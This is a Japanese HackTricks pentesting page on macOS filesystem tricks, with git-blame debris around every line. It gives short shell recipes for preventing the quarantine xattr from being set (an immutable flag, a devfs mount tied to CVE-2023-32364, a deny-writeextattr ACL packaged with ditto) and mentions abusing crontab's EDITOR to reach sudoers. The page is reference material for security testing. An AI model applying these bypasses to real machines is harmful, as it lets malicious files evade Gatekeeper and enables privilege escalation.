2023-10-16 23:16:27 +00:00
|
|
|
|
# macOS FSのトリック
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
|
|
2023-10-17 17:43:04 +00:00
|
|
|
|
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2023-10-16 23:16:27 +00:00
|
|
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2023-10-17 17:43:04 +00:00
|
|
|
|
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
|
|
|
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-10-16 23:16:27 +00:00
|
|
|
|
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-10-17 17:43:04 +00:00
|
|
|
|
## 任意のFD
|
2023-10-16 23:16:27 +00:00
|
|
|
|
|
|
|
|
|
もし、**プロセスが高い特権でファイルまたはフォルダを開く**ことができる場合、**`crontab`**を悪用して、`/etc/sudoers.d`内のファイルを**`EDITOR=exploit.py`**で開くことができます。そのため、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用することができます。
|
|
|
|
|
|
2023-10-17 17:43:04 +00:00
|
|
|
|
例: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
|
|
|
|
|
|
|
|
|
## クォレンティンxattrsトリックの回避
|
|
|
|
|
|
|
|
|
|
### uchgフラグ
|
|
|
|
|
|
|
|
|
|
ファイル/フォルダにこの不変の属性がある場合、それにxattrを設定することはできません。
|
|
|
|
|
```bash
|
|
|
|
|
echo asd > /tmp/asd
|
|
|
|
|
chflags uchg /tmp/asd
|
|
|
|
|
xattr -w com.apple.quarantine "" /tmp/asd
|
|
|
|
|
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
|
|
|
|
|
```
|
|
|
|
|
### defvfs マウント
|
|
|
|
|
|
|
|
|
|
**devfs** マウントは **xattr をサポートしていません**。詳細は [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) を参照してください。
|
|
|
|
|
```bash
|
|
|
|
|
mkdir /tmp/mnt
|
|
|
|
|
mount_devfs -o noowners none "/tmp/mnt"
|
|
|
|
|
chmod 777 /tmp/mnt
|
|
|
|
|
mkdir /tmp/mnt/lol
|
|
|
|
|
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
|
|
|
|
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
|
|
|
|
```
|
|
|
|
|
### writeextattr ACL
|
|
|
|
|
|
|
|
|
|
このACLは、ファイルに`xattrs`を追加することを防止します。
|
|
|
|
|
```bash
|
|
|
|
|
rm -rf /tmp/test*
|
|
|
|
|
echo test >/tmp/test
|
|
|
|
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
|
|
|
|
ls -le /tmp/test
|
|
|
|
|
ditto -c -k test test.zip
|
|
|
|
|
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
|
|
|
|
|
|
|
|
|
cd /tmp
|
|
|
|
|
echo y | rm test
|
|
|
|
|
|
|
|
|
|
# Decompress it with ditto
|
|
|
|
|
ditto -x -k --rsrc test.zip .
|
|
|
|
|
ls -le /tmp/test
|
|
|
|
|
|
|
|
|
|
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
|
|
|
|
|
open test.zip
|
|
|
|
|
sleep 1
|
|
|
|
|
ls -le /tmp/test
|
|
|
|
|
```
|
|
|
|
|
### **com.apple.acl.text権限**
|
|
|
|
|
|
|
|
|
|
**AppleDouble**ファイル形式は、ACEを含むファイルをコピーします。
|
|
|
|
|
|
|
|
|
|
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**という名前のxattrに格納されたACLテキスト表現が、展開されたファイルにACLとして設定されることがわかります。したがって、ACLが他のxattrの書き込みを防止するACLで圧縮されたアプリケーションをzipファイルに圧縮した場合...クアランティンxattrはアプリケーションに設定されませんでした:
|
|
|
|
|
|
|
|
|
|
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を参照してください。
|
2023-10-16 23:16:27 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
|
|
2023-10-17 17:43:04 +00:00
|
|
|
|
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
|
|
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2023-10-16 23:16:27 +00:00
|
|
|
|
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
2023-10-17 17:43:04 +00:00
|
|
|
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-10-16 23:16:27 +00:00
|
|
|
|
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
|
|
|
|
|
|
|
|
|
</details>
|